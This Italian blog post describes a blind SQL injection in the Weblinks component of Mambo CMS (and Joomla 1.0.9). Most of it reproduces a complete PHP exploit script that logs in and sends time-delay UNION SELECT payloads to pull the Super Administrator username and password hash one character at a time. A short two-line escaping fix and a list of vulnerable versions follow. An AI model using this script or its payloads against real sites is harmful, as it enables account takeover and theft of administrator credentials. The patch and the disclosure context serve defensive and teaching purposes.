Layer 06

Mambo server vulnerabilità – injection sul componente weblink

http://www.mamboserver.com) è un CMS (Content Management System) molto sicuro a mio avviso, ed è molto semplice da utilizzare, possiede inoltre una comunità di sviluppatori abbastanza grande, in italia esiste un sito per il supporto http://www.mamboserver.it Sono state trovate alcune vulnerabilità nel tempo, in quasi tutte le releases, una delle ultime è una sql injection, dovuta alla non validazione dei parametri, un classico errore o mancanza da programmatore. Il signor retrogod ha sviluppato questo esempio di exploit:

#!/usr/bin/php -q -d short_open_tag=on <? echo “Mambo <= 4.6rc1 ‘Weblinks’ blind SQL injection / admin credentialsrn”; echo “disclosure exploit (benchmark() vesion)rn”; echo “by rgod rgod@autistici.orgrn”; echo “site: http://retrogod.altervista.orgrn”; echo “this is called the Sun-Tzu ‘trascendental guru meditation’ tecniquernrn”; if ($argc<5) { echo “Usage: php “.$argv[0].” host path user pass OPTIONSrn”; echo “host: target server (ip/hostname)rn”; echo “path: path to Mamborn”; echo “user/pass: you need an accountrn”; echo “Options:rn”; echo ” -T[prefix] specify a table prefix different from ‘mos_’rn”; echo ” -p[port]: specify a port other than 80rn”; echo ” -P[ip:port]: specify a proxyrn”; echo “Example:rn”; echo “php “.$argv[0].” localhost /mambo/ username passwordrn”; die; } /* explaination: sql injection in “title” argument when you submit a web link, poc: start mysql daemon with log option… >mysqld –log=mambo.txt now login, go to “Submit Weblink” feature, in “Name: ” field type: 99999′ UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(200000000,CHAR(0)),0) FROM mos_users WHERE usertype=’Super Administrator’/* in mambo.txt we have: 13 Query SELECT id FROM mos_weblinks WHERE title=’99999′ UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(50000000,CHAR(0)),0) FROM mos_users WHERE usertype=’Super Administrator’/*’ AND catid=’2′ injection is blind but, as you can see, we can you use time delays through Mysql benchmark() function to ask questions about tables this works regardless of magic_quotes_gpc settings */ error_reporting(0); ini_set(“max_execution_time”,0); ini_set(“default_socket_timeout”,5); function quick_dump($string) { $result=”;$exa=”;$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=” .”;} else {$result.=” “.$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=” “.dechex(ord($string[$i]));} else {$exa.=” 0″.dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.=”rn”; $exa.=”rn”;} } return $exa.”rn”.$result; } $proxy_regex = ‘(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)’; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy==”) { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo ‘No response from ‘.$host.’:’.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo ‘Not a valid proxy…’;die; } $parts=explode(‘:’,$proxy); echo “Connecting to “.$parts[0].”:”.$parts[1].” proxy…rn”; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo ‘No response from proxy…’;die; } } fputs($ock,$packet); if ($proxy==”) { $html=”; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=”; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo “rn”.$html; } function is_hash($hash) { if (ereg(“^[a-f0-9]{32}”,trim($hash))) {return true;} else {return false;} } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $port=80; $prefix=”mos_”; $proxy=””; for ($i=5; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp==”-p”) { $port=str_replace(“-p”,””,$argv[$i]); } if ($temp==”-P”) { $proxy=str_replace(“-P”,””,$argv[$i]); } if ($temp==”-T”) { $prefix=str_replace(“-T”,””,$argv[$i]); } } if (($path[0]<>’/’) or ($path[strlen($path)-1]<>’/’)) {echo ‘Error… check the path!’; die;} if ($proxy==”) {$p=$path;} else {$p=’http://’.$host.’:’.$port.$path;} $data =”username=”.$user; $data.=”&passwd=”.$pass; $data.=”&remember=yes”; $data.=”&option=login”; $data.=”&Submit=login”; $data.=”&op2=login”; $data.=”&lang=english”; $data.=”&return=”.urlencode(“http://”.$host.$path); $data.=”&message=0″; $packet =”POST “.$p.” HTTP/1.0rn”; $packet.=”Host: “.$host.”rn”; $packet.=”Accept: text/plainrn”; $packet.=”Connection: Closern”; $packet.=”Content-Type: application/x-www-form-urlencodedrn”; $packet.=”Content-Length: “.strlen($data).”rnrn”; $packet.=$data; sendpacketii($packet); $temp=explode(“Set-Cookie: “,$html); $cookie=””; for ($i=1; $i<=count($temp)-1; $i++) { $temp2=explode(” “,$temp[$i]); $cookie.=” “.$temp2[0]; } if ((strstr($cookie,”=+;”)) | $cookie==””) {die(“Unable to login…”);} else { echo “Done…rncookie -> “.$cookie.”rn”; } $j=1;$admin=””; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $starttime=time(); $sql=”99999′ UNION SELECT IF ((ASCII(SUBSTRING(username,”.$j.”,1))=”.$i.”) & 1, benchmark(200000000,CHAR(0)),0) FROM “.$prefix.”users WHERE usertype=’Super Administrator’/*”; echo “rn”.$sql.”rn”; $sql=urlencode($sql); $data =”title=”.$sql; $data.=”&catid=2″; $data.=”&url=http://www.google.com”; $data.=”&description=”; $data.=”&id=0″; $data.=”&option=com_weblinks”; $data.=”&task=save”; $data.=”&ordering=0″; $data.=”&approved=0″; $data.=”&Returnid=0″; $packet =”POST “.$p.”index.php HTTP/1.0rn”; $packet.=”User-Agent: Googlebot/2.1rn”; $packet.=”Host: “.$host.”rn”; $packet.=”Accept: text/plainrn”; $packet.=”Connection: Closern”; $packet.=”Content-Type: application/x-www-form-urlencodedrn”; $packet.=”Cookie: “.$cookie.”rn”; $packet.=”Content-Length: “.strlen($data).”rnrn”; $packet.=$data; //debug //echo quick_dump($packet).”rn”; sendpacketii($packet); $endtime=time(); echo “endtime -> “.$endtime.”rn”; $difftime=$endtime – $starttime; echo “difftime -> “.$difftime.”rn”; if ($difftime > 7) {$admin.=chr($i);echo “admin -> “.$admin.”[???]rn”;sleep(2);break;} //more than seven seconds? we succeed… if ($i==255) {die(“Exploit failed…”);} } $j++; } $md5s[0]=0;//null $md5s=array_merge($md5s,range(48,57)); //numbers $md5s=array_merge($md5s,range(97,102));//a-f letters //print_r(array_values($md5s)); $j=1;$password=””; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$md5s)) { $starttime=time(); $sql=”99999′ UNION SELECT IF ((ASCII(SUBSTRING(password,”.$j.”,1))=”.$i.”) & 1, benchmark(200000000,CHAR(0)),0) FROM “.$prefix.”users WHERE usertype=’Super Administrator’/*”; echo “rn”.$sql.”rn”; $sql=urlencode($sql); $data =”title=”.$sql; $data.=”&catid=2″; $data.=”&url=http://www.google.com”; $data.=”&description=”; $data.=”&id=0″; $data.=”&option=com_weblinks”; $data.=”&task=save”; $data.=”&ordering=0″; $data.=”&approved=0″; $data.=”&Returnid=0″; $packet =”POST “.$p.”index.php HTTP/1.0rn”; $packet.=”User-Agent: Googlebot/2.1rn”; $packet.=”Host: “.$host.”rn”; $packet.=”Accept: text/plainrn”; $packet.=”Connection: Closern”; $packet.=”Content-Type: application/x-www-form-urlencodedrn”; $packet.=”Cookie: “.$cookie.”rn”; $packet.=”Content-Length: “.strlen($data).”rnrn”; $packet.=$data; //debug //echo quick_dump($packet).”rn”; sendpacketii($packet); $endtime=time(); echo “endtime -> “.$endtime.”rn”; $difftime=$endtime – $starttime; echo “difftime -> “.$difftime.”rn”; if ($difftime > 7) {$password.=chr($i);echo “password -> “.$password.”[???]rn”;sleep(2);break;} } if ($i==255) {die(“Exploit failed…”);} } $j++; } //if you are here… echo “Exploit succeeded…rn”; echo “——————————————————————–rn”; echo “admin -> “.$admin.”rn”; echo “password (md5) -> “.$password.”rn”; echo “——————————————————————–rn”; ?> che serve proprio a sfruttare questa vulnerabilità. Per correggere la vulnerabilità basta andare nello script del componente /components/com_weblinks/weblinks.php ed aggiungere alla riga 250 prima dell’istruzione if queste due semplici righe:

$row->title = $database->getEscaped($row->title); $row->catid = $database->getEscaped($row->catid); ed il gioco è fatto! Le versioni vulnerabili sono Mambo Mambo Open Source 4.6 CVS Mambo Mambo Open Source 4.6 Mambo Mambo Open Source 4.5.3 Mambo Mambo Open Source 4.5.3 Mambo Mambo Open Source 4.5.2 .2 Mambo Mambo Open Source 4.5.2 .1 Mambo Mambo Open Source 4.5.2 Mambo Mambo Open Source 4.5.1 (1.0.9) Mambo Mambo Open Source 4.5.1 Beta 2 Mambo Mambo Open Source 4.5.1 Beta Mambo Mambo Open Source 4.5.1 Mambo Mambo Open Source 4.5 (1.0.3beta) Mambo Mambo Open Source 4.5 (1.0.3) Mambo Mambo Open Source 4.5 (1.0.2) Mambo Mambo Open Source 4.5 (1.0.1) Mambo Mambo Open Source 4.5 (1.0.0) Mambo Mambo Open Source 4.0.14 Mambo Mambo Open Source 4.6.0 rc1 Joomla Joomla 1.0.9

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